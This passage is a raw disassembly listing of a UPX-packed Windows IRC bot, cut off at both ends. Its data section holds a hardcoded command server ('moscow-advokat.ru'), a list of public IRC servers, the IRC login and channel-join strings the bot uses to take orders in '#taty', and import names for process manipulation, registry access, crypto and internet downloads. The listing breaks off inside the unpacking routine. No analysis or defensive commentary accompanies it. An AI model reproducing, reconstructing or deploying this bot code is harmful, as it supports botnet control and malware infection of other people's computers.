<1>,0 dword_31505CF8 dd 206h, 2400h, 31415352h, 800h, 10001h, 0A495BDEFh, 0DD499F8Eh ; DATA XREF: sub_3150283F+3Ao dd 64DB1F45h, 0DE5B5C5h, 23CBE2AAh, 63639922h, 7318481Ch dd 749AC3F2h, 4D855620h, 0AD0FE1CCh, 691506D3h, 0A8FD8D37h dd 700B1698h, 45504FCEh, 324A3914h, 5C10E3EFh, 0DFBDD847h dd 371EBA84h, 8B817380h, 7D4A0DF5h, 2DFE92E0h, 0C699C9C5h dd 9C85E020h, 6A5068BDh, 8250B629h, 7F42C334h, 1C980811h dd 9CE7B7B2h, 3D77899Dh, 0A4D3971Ah, 0A58D5029h, 8D463A96h dd 1612E8FCh, 44AF10EBh, 0D0F84570h, 0B178966Ah, 0EB51439Fh dd 7086A827h, 0DE098A39h, 0C1A1C214h, 0BF167A53h, 611A85C4h dd 9829E70Fh, 8966209Eh, 0CB1FE53h, 0ECCA9407h, 0A11E75A3h dd 0B4E8F91Dh, 1A4ECBC5h, 69D7F0DBh, 8C1A8739h, 18C67B94h dd 3EB38213h, 0E0424BBFh, 8400EB67h, 0AA60B737h, 22D7D8B3h dd 7A650480h, 86FF4BA6h, 0F6458558h, 56EEF96Eh, 32002FC9h dd 0B7A63B4Ah, 0EBD3D87Ah aCont db 'cont',0 ; DATA XREF: sub_31502826+3o align 4 off_31505E14 dd offset aMoscowAdvokat_ ; DATA XREF: UPX0:315034C8r ; UPX0:3150351Ar ; "moscow-advokat.ru" dd offset aGraz_at_eu_und ; "graz.at.eu.undernet.org" dd offset aFlanders_be_eu ; "flanders.be.eu.undernet.org" dd offset aCaen_fr_eu_und ; "caen.fr.eu.undernet.org" dd offset aBrussels_be_eu ; "brussels.be.eu.undernet.org" dd offset aLosAngeles_ca_ ; "los-angeles.ca.us.undernet.org" dd offset aWashington_dc_ ; "washington.dc.us.undernet.org" dd offset aLondon_uk_eu_u ; "london.uk.eu.undernet.org" dd offset aLia_zanet_net ; "lia.zanet.net" dd offset aGaspode_zanet_ ; "gaspode.zanet.org.za" dd offset aDiemen_nl_eu_u ; "diemen.nl.eu.undernet.org" dd offset aLulea_se_eu_un ; "lulea.se.eu.undernet.org" dd offset aCoins_dal_net ; "coins.dal.net" dd offset aBroadway_ny_us ; "broadway.ny.us.dal.net" dd offset aOzbytes_dal_ne ; "ozbytes.dal.net" dd offset aVancouver_dal_ ; "vancouver.dal.net" dd offset aViking_dal_net ; "viking.dal.net" dd offset aCed_dal_net ; "ced.dal.net" dd offset aQis_md_us_dal_ ; "qis.md.us.dal.net" aQis_md_us_dal_ db 'qis.md.us.dal.net',0 ; DATA XREF: UPX0:31505E5Co align 4 aCed_dal_net db 'ced.dal.net',0 ; DATA XREF: UPX0:31505E58o aViking_dal_net db 'viking.dal.net',0 ; DATA XREF: UPX0:31505E54o align 10h aVancouver_dal_ db 'vancouver.dal.net',0 ; DATA XREF: UPX0:31505E50o align 4 aOzbytes_dal_ne db 'ozbytes.dal.net',0 ; DATA XREF: UPX0:31505E4Co aBroadway_ny_us db 'broadway.ny.us.dal.net',0 ; DATA XREF: UPX0:31505E48o align 4 aCoins_dal_net db 'coins.dal.net',0 ; DATA XREF: UPX0:31505E44o align 4 aLulea_se_eu_un db 'lulea.se.eu.undernet.org',0 ; DATA XREF: UPX0:31505E40o align 4 aDiemen_nl_eu_u db 'diemen.nl.eu.undernet.org',0 ; DATA XREF: UPX0:31505E3Co align 4 aGaspode_zanet_ db 'gaspode.zanet.org.za',0 ; DATA XREF: UPX0:31505E38o align 4 aLia_zanet_net db 'lia.zanet.net',0 ; DATA XREF: UPX0:31505E34o align 4 aLondon_uk_eu_u db 'london.uk.eu.undernet.org',0 ; DATA XREF: UPX0:31505E30o align 4 aWashington_dc_ db 'washington.dc.us.undernet.org',0 ; DATA XREF: UPX0:31505E2Co align 4 aLosAngeles_ca_ db 'los-angeles.ca.us.undernet.org',0 ; DATA XREF: UPX0:31505E28o align 4 aBrussels_be_eu db 'brussels.be.eu.undernet.org',0 ; DATA XREF: UPX0:31505E24o aCaen_fr_eu_und db 'caen.fr.eu.undernet.org',0 ; DATA XREF: UPX0:31505E20o aFlanders_be_eu db 'flanders.be.eu.undernet.org',0 ; DATA XREF: UPX0:31505E1Co aGraz_at_eu_und db 'graz.at.eu.undernet.org',0 ; DATA XREF: UPX0:31505E18o UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00003000 ( 12288.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00006000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31506000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing aMoscowAdvokat_ db 'moscow-advokat.ru',0 ; DATA XREF: UPX0:off_31505E14o ; UPX1:31508401o align 4 aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31502CB7+1Co align 10h aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31502CB7+Co align 4 aUserS8S db 'USER %s 8 * :%s',0Dh,0Ah,0 ; DATA XREF: sub_31502DEC+1C4o align 10h aAlready db 'already',0 ; DATA XREF: sub_31502DEC+133o aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_31502DEC+D9o ; sub_31502DEC+165o align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_31502DEC+9Co align 10h aPongS db 'PONG%s',0Dh,0Ah,0 ; DATA XREF: sub_3150302E+4Fo align 4 aPing db 'PING',0 ; DATA XREF: sub_3150302E+Co ; sub_315030B1:loc_31503153o align 4 a451 db '451',0 ; DATA XREF: sub_315030B1+8Eo aJoinS db 'JOIN %s',0Dh,0Ah,0 ; DATA XREF: sub_315030B1+16o align 4 aQuitS db 'QUIT %s',0Dh,0Ah,0 ; DATA XREF: sub_31503183+2Co align 10h aPrivmsgSS db 'PRIVMSG %s %s',0Dh,0Ah,0 ; DATA XREF: sub_315032FA+3Bo aTaty db '#taty',0 ; DATA XREF: UPX0:3150356Ao align 4 a13 db '13',0 ; DATA XREF: UPX0:31503460o align 4 a_: ; DATA XREF: UPX0:31503455o unicode 0, <_>,0 aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_31503608+13o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_31503722+2E8o align 4 aQ: ; DATA XREF: sub_31503722+2C3o unicode 0, <q>,0 aDD13SD db '%d,%d,13%s,%d',0 ; DATA XREF: sub_31503722+29Do align 10h aI: ; DATA XREF: sub_31503722+253o unicode 0, <i>,0 asc_31506124: ; DATA XREF: sub_31503722+23Ao unicode 0, <|>,0 aE: ; DATA XREF: sub_31503722+146o unicode 0, <e>,0 a1D db '-1,%d',0 ; DATA XREF: sub_31503722+78o align 4 dd 9 dup(0) dword_31506158 dd 0 ; sub_31501BA8+80w dword_3150615C dd 0 ; sub_31501BA8+2Dw ... dword_31506160 dd 0 ; sub_31501A62:loc_31501B10r ... dword_31506164 dd 74h ; UPX0:31501D40w ... dword_31506168 dd 0 ; sub_31501D96+33w dword_3150616C dd 8 dup(0) dword_3150618C dd 0 ; sub_31502277+20r dword_31506190 dd 31500000h ; UPX0:31501D25w dword_31506194 dd 0 ; sub_315021B0+53o ... dword_31506198 dd 0 ; UPX0:31502326w ... word_3150619C dw 0 ; DATA XREF: sub_315020C4+3Br ; sub_31502128:loc_31502189r ... align 10h dword_315061A0 dd 0 ; sub_315026C2+110w ... dword_315061A4 dd 0 ; UPX0:31503553w ... dword_315061A8 dd 0 ; sub_31503722+E8r ... dword_315061AC dd 8 dup(0) ; sub_31503722+Ao dword_315061CC dd 38Dh dup(0) dd 0C4h, 40h, 74736C01h, 706D6372h, 47010041h, 6F4C7465h dd 656C6163h, 6F666E49h, 53010041h, 75437465h, 6E657272h dd 72694474h, 6F746365h, 417972h, 69725701h, 69466574h dd 100656Ch, 53746547h, 65747379h, 6D69546Dh, 53010065h dd 65747379h, 6D69546Dh, 466F5465h, 54656C69h, 656D69h dd 72695601h, 6C617574h, 65657246h, 69560100h, 61757472h dd 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh, 6C694665h dd 6D614E65h, 1004165h, 7274736Ch, 69706D63h, 47010041h dd 79537465h, 6D657473h, 65726944h, 726F7463h, 1004179h dd 7274736Ch, 41746163h, 6F430100h, 69467970h, 41656Ch dd 6E695701h, 63657845h, 72430100h, 65746165h, 6C6F6F54h dd 706C6568h, 6E533233h, 68737061h, 100746Fh, 636F7250h dd 33737365h, 72694632h, 1007473h, 6D726554h, 74616E69h dd 6F725065h, 73736563h, 72500100h, 7365636Fh, 4E323373h dd 747865h, 74736C01h, 79706372h, 43010041h, 74616572h dd 65764565h, 41746Eh, 69615701h, 726F4674h, 676E6953h dd 624F656Ch, 7463656Ah, 65440100h, 6574656Ch, 656C6946h dd 47010041h, 614C7465h, 72457473h, 726F72h, 69784501h dd 6F725074h, 73736563h, 736C0100h, 656C7274h, 100416Eh dd 65656C53h, 6C010070h, 63727473h, 416E7970h, 65470100h dd 72754374h, 746E6572h, 636F7250h, 737365h, 74654701h dd 636F7250h, 72646441h, 737365h, 616F4C01h, 62694C64h dd 79726172h, 57010041h, 65746972h, 636F7250h, 4D737365h dd 726F6D65h, 43010079h, 65736F6Ch, 646E6148h, 100656Ch dd 6E65704Fh, 636F7250h, 737365h, 74654701h, 75646F4Dh dd 6148656Ch, 656C646Eh, 47010041h, 69547465h, 6F436B63h dd 746E75h, 65724301h, 4D657461h, 78657475h, 43010041h dd 74616572h, 72685465h, 646165h, 65724301h, 50657461h dd 65636F72h, 417373h, 74655301h, 6E657645h, 4F010074h dd 456E6570h, 746E6576h, 45010041h, 54746978h, 61657268h dd 49010064h, 7265746Eh, 6B636F6Ch, 6E496465h, 6D657263h dd 746E65h, 61655201h, 6C694664h, 47010065h, 69467465h dd 6953656Ch, 100657Ah, 61657243h, 69466574h, 41656Ch dd 0D100h, 0 dd 72430100h, 43747079h, 74616572h, 73614865h, 43010068h dd 74707972h, 68736148h, 61746144h, 72430100h, 56747079h dd 66697265h, 67695379h, 7574616Eh, 416572h, 79724301h dd 65447470h, 6F727473h, 73614879h, 43010068h, 74707972h dd 74736544h, 4B796F72h, 1007965h, 70797243h, 6C655274h dd 65736165h, 746E6F43h, 747865h, 79724301h, 63417470h dd 72697571h, 6E6F4365h, 74786574h, 43010041h, 74707972h dd 6F706D49h, 654B7472h, 52010079h, 72436765h, 65746165h dd 4579654Bh, 1004178h, 53676552h, 61567465h, 4565756Ch dd 1004178h, 51676552h, 79726575h, 756C6156h, 41784565h dd 65520100h, 65704F67h, 79654B6Eh, 417845h, 67655201h dd 656C6544h, 61566574h, 4165756Ch, 65520100h, 6F6C4367h dd 654B6573h, 41010079h, 74726F62h, 74737953h, 68536D65h dd 6F647475h, 416E77h, 0DE00h, 0F800h, 74610100h, 100696Fh dd 6E617461h, 69730100h, 6301006Eh, 100736Fh, 5F48455Fh dd 6C6F7270h, 100676Fh, 78435F5Fh, 61724678h, 6148656Dh dd 656C646Eh, 73010072h, 68637274h, 73010072h, 70637274h dd 73010079h, 61637274h, 5F010074h, 65637865h, 685F7470h dd 6C646E61h, 337265h, 72747301h, 727473h, 6E617201h, 73010064h dd 646E6172h, 656D0100h, 7970636Dh, 74730100h, 6E656C72h dd 656D0100h, 7465736Dh, 0E90000h, 13C0000h, 77010000h dd 69727073h, 4166746Eh, 65470100h, 726F4674h, 6F726765h dd 57646E75h, 6F646E69h, 46010077h, 57646E69h, 6F646E69h dd 1004177h, 57746547h, 6F646E69h, 72685477h, 50646165h dd 65636F72h, 64497373h, 0F40000h, 1500000h, 49010000h dd 7265746Eh, 4F74656Eh, 556E6570h, 416C72h, 746E4901h dd 656E7265h, 65704F74h, 100416Eh, 65746E49h, 74656E72h dd 64616552h, 656C6946h, 6E490100h, 6E726574h, 65477465h dd 6E6F4374h, 7463656Eh, 74536465h, 657461h, 10000h, 16400h dd 12FF00h, 0FF0008FFh, 2FF0073h, 0DFF00h, 0FF0001FFh dd 6FFF0039h, 0BFF00h, 0FF0034FFh, 0CFF0017h, 9FF00h, 0FF0004FFh dd 10FF0013h, 16FF00h, 3FFh, 0 dd 4550h, 2014Ch, 40D3275Dh, 2 dup(0) dd 10F00E0h, 6010Bh, 3400h, 1200h, 0 dd 1D18h, 1000h, 5000h, 31500000h, 1000h, 200h, 4, 0 dd 4, 0 dd 7000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 3B68h, 8Ch, 14h dup(0) dd 1000h, 1B0h, 6 dup(0) dd 7865742Eh, 74h, 3330h, 1000h, 3400h, 400h, 3 dup(0) dd 0E0040020h, 7461642Eh, 61h, 11CDh, 5000h, 1200h, 3800h dd 3 dup(0) dd 0C0000040h, 6000h, 3DA4h, 652Ch, 0C48BC800h, 0BC4B56DDh dd 8BE18B0Ch, 0C371406Ah, 23231C47h, 5182363h, 9F080C14h dd 4232323h, 8410FC00h, 7CF83A10h, 107C777Eh, 0E8B81078h dd 6EFBE9BBh, 0B8E6B56h, 0D01D0CECh, 163B40B8h, 27EFBAE9h dd 930520CCh, 1308E719h, 0CD180701h, 57850802h, 0F7C90B07h dd 2F2B0096h, 0BE4A0030h, 4EE0E2E7h, 41601F57h, 57D93758h dd 9ED0h, 443FFFBh, 746858EBh, 2F3A7074h, 3732312Fh, 0FF01302Eh dd 31BFFD91h, 3030383Ah, 652E652Fh, 0DF6578h, 697A6F4Dh dd 6D616C6Ch, 2FDBFFFFh, 5DDF2734h, 0B966C933h, 758D01F1h dd 8AFE8B05h, 7993C06h, 0FF8ADF46h, 302C06BFh, 88993446h dd 0EDE24707h, 0DAE80AEBh, 65622EFAh, 0FF6FFF67h, 93712EFBh dd 1201C999h, 0FD91BDFDh, 72C10716h, 0FD42AA68h, 10FDAA66h dd 0FBADD8BAh, 0A91C14F7h, 0F3C91A98h, 8608F198h, 10C57102h dd 0FFD9FD87h, 37CB5F90h, 1C965992h, 0E4143A78h, 0A7D7157h dd 0F6DF7D3Ah, 0F34571C9h, 8904F19Dh, 9C04F109h, 0CE91FEC7h dd 67B44011h, 10F0E3F3h, 0B20BD11Ch, 0F7FB1B59h, 0C99B6076h dd 14D90125h, 0CA17A204h, 0F9647F99h, 688D2B58h, 1AAE9161h dd 1D966661h, 0DADEDB11h, 50B22867h, 149900C8h, 265557DCh dd 0DBBDBF12h, 0C0A44E3Fh, 99491291h, 54F7EDh, 0CA3AC414h dd 0FBBB0FCBh, 1C3C71D9h, 21E424FFh, 0CDCDCF1Ah, 0F72C668Fh dd 8166D93Fh, 0B0FB133Fh, 0CDC383B8h, 64A85D12h, 0C96CDF3Bh dd 0AE251DCBh, 93FD0C24h, 485AFEC9h, 14C096A6h, 0A7294C1Ch dd 609CF3EBh, 0BA9767EFh, 0F43416EAh, 0DBF57126h, 0FFF77ECDh dd 0EF133BF9h, 376B4629h, 4766DE5Fh, 0B7AAA8ECh, 8519F0ABh dd 1FFFF90h, 0EDFFC5B7h, 0FDE9ECE9h, 0FCE1FCB7h, 0F6FFC999h dd 0F55BBE5Fh, 0F2E9FCFCh, 0FCF7EBFCh, 0D9ABAAF5h, 0AAF934C7h dd 9F25B459h, 2AFF97FDh, 0ACC9662Ah, 0B7819093h, 83639D90h dd 9271CDC9h, 3519BF30h, 0C2FBB083h, 95DC1451h, 2A91720Ah dd 0D2EEC871h, 0FFFFEDFFh, 80D512A5h, 0AA529AE1h, 2A8D146Fh dd 12B9C89Ah, 474A9A8Bh, 0AB9E5958h, 0A319DB9Bh, 6FFFFEDFh dd 0A26CEC20h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h, 1FBDC812h dd 0EB8D2E96h, 0FFE68584h, 9A85D812h, 99D125Ah, 0F8105A9Ah dd 0B725D599h, 49FFDDB7h, 0FEFD7F66h, 5AA98712h, 850295C2h dd 91048212h, 0A89BF35Ah, 0CFF7CB6Dh, 53FF855Dh, 8F72424Dh dd 1874485Dh, 0FE85C853h, 2006206h, 0FFFFF1ADh, 4E204350h dd 4F575445h, 50204B52h, 52474F52h, 31204D41h, 0FFFB17CDh dd 414CF6B1h, 0A024D4Eh, 646E6957h, 2073776Fh, 20726F66h dd 2DD60357h, 676B7F6Dh, 70756F72h, 611A330Eh, 5E234D27h dd 32E96C3Eh, 32322158h, 4E312E32h, 6F92054h, 2018DA6Bh dd 0A470323Ch, 50BB738Bh, 0A07192Bh, 5123FF0Ch, 7D8363h dd 140A1104h, 0BBD40520h, 0CABB5BE8h, 4B4C0069h, 505353h dd 0FB829756h, 8C91EDFh, 240057E0h, 64006Eh, 77006Fh, 0F6F63A73h dd 30749B62h, 398C0901h, 3233500h, 1D44B6E6h, 0DA00072Eh dd 644E7901h, 0DA2008ABh, 92649A87h, 26039F57h, 6D8360C8h dd 47234601h, 73FF4007h, 60F23h, 1F011006h, 0E0888A15h dd 0FF600048h, 4FE5FFh, 6A198144h, 49E4F27Ah, 30AF281Ch dd 67107425h, 214FE153h, 0DF5C44DFh, 4003075h, 2DAE6BAFh dd 5ABD075Ch, 8D615C08h, 4D75DC8Dh, 36072Eh, 30772E38h dd 0DB7BAF61h, 0EC00491Bh, 3B240043h, 2D63003Fh, 64CF201Fh dd 4DC08A2h, 0E41EC240h, 0FF16BFh, 0E00DEDEh, 19F1600h dd 37EF2602h, 28404261h, 8B110319h, 0B868DECBh, 0D374D96Ch dd 2A630070h, 0BE4296DBh, 9F256B9Ch, 75480E10h, 43D81DDh dd 5413541Bh, 0FB9F265Ah, 5963D6DCh, 0CBC75C22h, 5876545h dd 0F3483B55h, 10030B00h, 110B848h, 349FFFFBh, 286A0105h dd 0B10C3919h, 0A89B11D0h, 0D94FC000h, 655FF52Eh, 5D1FF85Fh dd 1CEB8A88h, 0E89F11C9h, 48102B3Ch, 9F25D160h, 0F40CEC8Bh dd 0CA060A3h, 790F200Ch, 0CB10CA0h, 4EFFBE00h, 880CA08Eh dd 90040h, 703ECh, 49E11EC1h, 4F401495h, 0BF40707Ch, 0B2297B22h dd 13430700h, 3FF09E79h, 138578h, 0E9A65BABh, 2FF81013h dd 273C635h, 230EFEFFh, 30C1D240h, 84083658h, 0E4F24388h dd 10B97DD3h, 0B801FFEEh, 0F2200C10h, 0AD793661h, 0F7F070Dh dd 0E59F25D8h, 70011815h, 90060F84h, 0F84790Fh, 2000F95h dd 0FC9E4D87h, 6C0F847Fh, 0C89A000Fh, 0A884AADEh, 0CA13436Fh dd 1F8C093Fh, 50586E69h, 3C725020h, 0C0A6DBh, 39014446h dd 0C93C6B32h, 123C844Fh, 41027515h, 7B220053h, 941C840Dh dd 0AFFF9B01h, 0C606EB1Ch, 73255C5Ch, 6370695Ch, 9F816624h dd 0ECFFF97Fh, 0E4FF071Ch, 44655300h, 67756265h, 6C697669h dd 41656765h, 0B266DB64h, 73756AFFh, 6B6F5474h, 73176E65h dd 75126F4Ch, 927F76FDh, 6C615670h, 17416575h, 6F28704Fh dd 2FFE0C63h, 347324B6h, 76646143h, 33697061h, 12E2AEE3h dd 6574757Fh, 13316D72h, 0BB036932h, 65A37F12h, 72545F15h dd 39577961h, 0EF72431Bh, 65DBEDDCh, 65521E61h, 54056F6Dh dd 56140C68h, 6E747269h, 75B6D6EDh, 5328415Ch, 520F7845h dd 5F466E72h, 4B35D67Ah, 4822F3F5h, 83505454h, 89712FDEh dd 5B322040h, 0D4B4F20h, 0DBFD010Ah, 6F4BFDADh, 2D02446Eh dd 7467044Ch, 25203A68h, 2961ED75h, 282F189Bh, 0F4B97954h dd 266B7DB6h, 696C70A7h, 15698563h, 0A32D782Fh, 0CB77EED8h dd 6D6F632Dh, 65CD7270h, 5BDF5764h, 0D4FF28h, 544547h dd 11640266h, 0DD2BFDA1h, 6D9573D7h, 0B1637673h, 6DA2DDD7h dd 65017765h, 5F320F08h, 0FDCCDCE6h, 34317517h, 507F703h dd 9A696E07h, 3132032Eh, 0D8133930h, 38B3937Bh, 2306781Fh dd 0C9BDC07h, 4F303132h, 7F7F7529h, 0BB2098FBh, 52455355h dd 4E084449h, 65849h, 48217B59h, 253AE8A1h, 0C5A7CD64h dd 53FFF2F6h, 5754464Fh, 5C455241h, 736F694Dh, 0DD5CC36Fh dd 0B783F0D6h, 7275435Ch, 0C8560972h, 0B55CFE73h, 52C3E142h dd 7953BC75h, 0F25290FDh, 0E7A1877Fh, 6664579Ah, 6E687361h dd 6473647Ah, 76D6126Ch, 77495313h, 5C573F61h, 0ED860A1h dd 528B396Ch, 0B44B0D57h, 39C23D6h, 667120F5h, 0F70E86EFh dd 76206769h, 38761BFDh, 9D326576h, 67B9B64Bh, 10532064h dd 0B81B6544h, 1421B237h, 1B17235Ch, 9B325C3Fh, 42004CABh dd 0AC91203Fh, 3D9F1A35h, 0B01EBF23h, 654AD42h, 69443792h dd 6DBB9E73h, 66EE7694h, 9C6D672Fh, 6C2FF62Ah, 632463C9h dd 7974690Ah, 6E614D20h, 58C5E91Eh, 31C91AB1h, 0C59DB48Ch dd 5234D376h, 80E4153h, 0FFFFEFBCh, 0A4C11BFFh, 0DD499F8Eh dd 64DB1F45h, 0DE5B5C5h, 23CBE2AAh, 63639922h, 7318481Ch dd 0EDFFFFFFh, 8C9AC3F2h, 0CC4D8556h, 0D3AD0FE1h, 37691506h dd 98A8FD8Dh, 0CE700B16h, 1445504Fh, 0F837FFFFh, 0EF324A39h dd 0D847AEE3h, 0BA84DFBDh, 7380371Eh, 0DF58B81h, 92E07D4Ah dd 0E8DFFFFFh, 0B8C52DFEh, 85E020C6h, 5068BD9Ch, 50B6296Ah dd 42C33482h, 9808117Fh, 0FFFFFFFFh, 0E7B7B21Ch, 77899D9Ch dd 0D3971A3Dh, 8D5029A4h, 463A96A5h, 12E8FC8Dh, 0AF10EB16h dd 0F8457044h, 0FFFFFFEAh, 78966AD0h dd 51439FB1h, 86A827EBh, 98A3970h, 0A1C214DEh, 167A53C1h dd 9785C4BFh, 0A0DFA378h, 9829E70Fh, 53899E9Eh, 940724FEh dd 0FFFFFFFFh, 75A3ECCAh, 0F91DA11Eh, 0CBC5B4E8h, 0F0DB1A4Eh dd 873969D7h, 7B948C1Ah, 821318C6h, 4BBF3EB3h, 0F02FFFFFh dd 0EB67E042h, 60B737B2h, 0D7D8B3AAh, 65048022h, 0FF4BA67Ah dd 45855886h, 0FC1BFFA6h, 0EEF96EF6h, 3290C956h, 0B7A63B4Ah dd 0EBD3D87Ah, 97EE4263h, 0F7041888h, 31505FE8h, 0A69A03CCh dd 98B49A69h, 2C3C5878h, 69B2CD34h, 0DC5EF814h, 34D3B4CCh dd 90A4D34Dh, 0B607480h, 7142E96Dh, 5B6D2E9Fh, 6CDC0575h dd 0A7685B24h, 0B700492Eh, 96B60D64h, 6BC52C2Dh, 611C67ADh dd 0DB01F06Eh, 2C7586D8h, 7A6F2F72h, 70DB7962h, 41D9ACBCh dd 0A4147262h, 0AD600C79h, 58796C25h, 0D6674A38h, 0CA6B46F1h dd 732E61B6h, 84277578h, 6EC73A36h, 3D2E1646h, 6D80B067h dd 2FCA468Eh, 51C6C28h, 6734BB7Bh, 116F701Ah, 13617A2Eh dd 0CF1B66C3h, 61FE3309h, 401A5F13h, 676F8E6Eh, 776B7543h dd 675DBD90h, 1F74D85Eh, 1FA56364h, 0FCA9EB59h, 2D736F6Ch dd 0A72E5861h, 6BADB220h, 0AB75E35Bh, 0BE62166Ch, 0B6BB253Dh dd 7266B92Fh, 4A616C66h, 0EEC09FEh, 61726733h, 74612E7Ah dd 6D0B8180h, 7736876Dh, 7DBBDA2Dh, 1EE5AE6Ah, 6362CB75h dd 0BF676621h, 7FDB0BEAh, 6D6C6B6Ah, 71706F6Eh, 77927452h dd 0DA7A7978h, 0F95FFE58h, 44434241h, 48474645h, 4E4B4A49h dd 7B5751FCh, 544058A1h, 5A59581Ah, 0F5ADB81Bh, 77A08152h dd 0B62A2038h, 2140E907h, 0FF8C6702h, 0F60C4BCBh, 4B43CA56h dd 26501320h, 0F66E9553h, 4E4F0B64h, 490B0A47h, 0FA5DAC3Fh dd 92353407h, 2F0C4F4Ah, 54495551h, 24816B6Fh, 477B561Ah dd 0B6E5F766h, 74231163h, 841779B5h, 0C0E0075Fh, 20A202CBh dd 0BED6F328h, 6203E85Dh, 34203B64h, 36204549h, 0B060915h dd 0B41EAC30h, 70164035h, 29EC5Fh, 371776Bh, 0CEBA2C61h dd 4D02E6B5h, 690F075Ch, 8127C03h, 2D6569B7h, 0A6C71331h dd 0C48A08BBh, 0FFEE4009h, 6C01FF97h, 63727473h, 4741706Dh dd 6F4C7465h, 656C6163h, 6F666E49h, 56715B0Fh, 44525394h dd 452E6309h, 797F14B7h, 65595715h, 588A4746h, 9E303483h dd 0BD9A6954h, 0E6DB997h, 206F540Bh, 0ED65A015h, 4146000Ch dd 3C42BF0Ch, 4D3F0DF6h, 2DAC646Fh, 0B016614Eh, 8E412D93h dd 7E5E4169h, 6F40AEFh, 4309DF1Fh, 1E79706Fh, 387BFEE4h dd 456E6993h, 81516578h, 0ED06FFF6h, 9A6C6F7Eh, 53323370h dd 7370616Eh, 19746F68h, 0A0CDADDDh, 723212D3h, 5540F73h dd 0C641AD73h, 0F6182C35h, 2180FB06h, 7478654Eh, 54727068h dd 7867CB6Ch, 0FF087645h, 538B4661h, 42B7B9B1h, 624F7BE4h dd 4414996Ah, 0A136796h, 4CB715CFh, 0CAC94561h, 263A15ADh dd 6378452Fh, 7B61DBB2h, 5C6E2354h, 65706506h, 5F092C97h dd 2E6E4711h, 0D8A06F12h, 64410B3Fh, 140F7264h, 7262694Ch dd 84B60C28h, 4D2B8961h, 8DC4625h, 5FAB1F67h, 100E4865h dd 9F874496h, 0C2E16CCBh, 701D166Ch, 476B63A2h, 6D61D12Dh dd 4DE57275h, 366C78DFh, 0C4F39289h, 45986A0Dh, 0E193198h dd 7B0E8162h, 31E91943h, 0DB639249h, 6BE48376h, 630A6465h dd 522D6D13h, 70C9785Dh, 45083A1Bh, 0C426657Ah, 3D5E8613h dd 5868D100h, 15EECDA1h, 1A747079h, 710C4B2h, 0A2FB6CDh dd 0E611244h, 0C3057BECh, 79666976h, 3CCA6746h, 0B7B016D5h dd 578F10A1h, 112C796Fh, 0BEC1866Dh, 1079654Bh, 651EB252h dd 178763F9h, 4114EF3Eh, 69757163h, 871A1672h, 8F494D0Dh dd 0B9B6745Ch, 0C13AF759h, 0EF0D9267h, 3B0E1041h, 3E0D2194h dd 90EC510Fh, 350AD6B0h, 98302511h, 2D0466C5h, 0E19E1021h dd 5FB5458Eh, 0F5696241h, 0C34D6853h, 0AF8B1446h, 0F8DE136Eh dd 3B77E5DDh, 5696F78h, 69736E61h, 0B6EF6304h, 736FCBF6h dd 5F48455Fh, 6744DC70h, 78435F0Bh, 98263878h, 0E74C6C4Ah dd 83936B81h, 768627Dh, 2A427970h, 9A15BB3Bh, 5FDDCFE2h dd 29332868h, 1CD7399Bh, 11727473h, 5B49060Dh, 6D6C31CCh dd 0AC0FBA36h, 0D9B6B774h, 3CE9946Ch, 7C737701h, 1966748Bh dd 5219A682h, 5639651Bh, 3AA29168h, 0BD8146Fh, 1B366331h dd 0C7290B21h, 5383B669h, 0F44F6449h, 0F6D83B50h, 35A78AE0h dd 11417355h, 5B01196Ch, 1B114E0Eh, 5D3706A6h, 77936EBBh dd 0C5D55753h, 525574A2h, 0B2CBA564h, 2125B2Ch, 0D027308h dd 0B2CB2C01h, 0B6F392Ch, 2CB21734h, 90CB2CBh, 54101304h dd 16CA00CFh, 46455057h, 2FA025F5h, 0D3275DB7h, 9ACF0340h dd 0F001FEDh, 6010B01h, 1312340Ch, 98D81D18h, 30E5017Bh dd 0DD0B3135h, 2C0092Ch, 700C076Bh, 25B99D81h, 710341Eh dd 0B258E58Ah, 3B680306h, 176C28Ch, 0B0647FC2h, 53581E01h dd 42EBA75h, 0C1903303h, 34360608h, 0C837C0C4h, 0E004F4EDh dd 0FB90642Eh, 271211CDh, 48586E0Ah, 0C03838h, 61800060h dd 33D205Bh, 1962Ch, 0 dd 0FF2000h, 2 dup(0) ; --------------------------------------------------------------------------- pusha mov esi, offset aMoscowAdvokat_ ; "moscow-advokat.ru" lea edi, [esi-5000h] push edi or ebp, 0FFFFFFFFh jmp short loc_31508422 ; --------------------------------------------------------------------------- align 8 loc_31508418: ; CODE XREF: UPX1:loc_31508429j mov al, [esi] inc esi mov [edi], al inc edi loc_3150841E: ; CODE XREF: UPX1:315084B6j ; UPX1:315084CDj add ebx, ebx jnz short loc_31508429 loc_31508422: ; CODE XREF: UPX1:31508410j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31508429: ; CODE XREF: UPX1:31508420j jb short loc_31508418 mov eax, 1 loc_31508430: ; CODE XREF: UPX1:3150843Fj ; UPX1:3150844Aj add ebx, ebx jnz short loc_3150843B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3150843B: ; CODE XREF: UPX1:31508432j adc eax, eax add ebx, ebx jnb short loc_31508430 jnz short loc_3150844C mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31508430 loc_3150844C: ; CODE XREF: UPX1:31508441j xor ecx, ecx sub eax, 3 jb short loc_31508460 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_315084D2 mov ebp, eax loc_31508460: ; CODE XREF: UPX1:31508451j add ebx, ebx jnz short loc_3150846B mov 